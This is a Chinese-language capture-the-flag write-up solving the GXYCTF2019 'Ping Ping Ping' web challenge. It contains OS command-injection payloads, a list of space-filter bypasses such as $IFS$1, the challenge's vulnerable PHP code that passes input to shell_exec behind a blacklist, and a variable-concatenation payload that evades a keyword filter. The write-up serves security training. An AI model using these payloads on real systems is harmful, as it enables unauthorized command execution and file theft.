BUUCTF-Web-[GXYCTF2019]Ping Ping Ping

    打开题目环境,如下所示:

    BUUCTF-Web-[GXYCTF2019]Ping Ping Ping - 图1

    在域名后加?ip=127.0.0.1测试

    BUUCTF-Web-[GXYCTF2019]Ping Ping Ping - 图2

    输入?ip=127.0.0.1|ls测试是否存在命令执行漏洞

    BUUCTF-Web-[GXYCTF2019]Ping Ping Ping - 图3

    ls命令成功执行,直接构造payload读取flag.php文件

    1. ?ip=127.0.0.1|cat flag.php

    发现存在过滤空格

    BUUCTF-Web-[GXYCTF2019]Ping Ping Ping - 图4

    通过搜索,发现绕过空格过滤主要有以下方法:

    1. ${IFS}替换
    2. $IFS$1替换
    3. ${IFS替换
    4. %20替换
    5. <和<>重定向符替换
    6. %09替换

    挨个测试一下,发现第二个·$IFS$1可以绕过,但是又提示以下内容,说明flag又被过滤了。

    BUUCTF-Web-[GXYCTF2019]Ping Ping Ping - 图5

    那看一下index.php内容

    1. /?ip=
    2. /?ip=
    3. |\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    4. echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    5. die("fxck your symbol!");
    6. } else if(preg_match("/ /", $ip)){
    7. die("fxck your space!");
    8. } else if(preg_match("/bash/", $ip)){
    9. die("fxck your bash!");
    10. } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    11. die("fxck your flag!");
    12. }
    13. $a = shell_exec("ping -c 4 ".$ip);
    14. echo "
    15. ";
    16. print_r($a);
    17. }
    18. ?>

    发现好过符号都被过滤了,试下变量拼接,构造以下payload,在源码里发现flag

    1. ?ip=?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php;

    BUUCTF-Web-[GXYCTF2019]Ping Ping Ping - 图6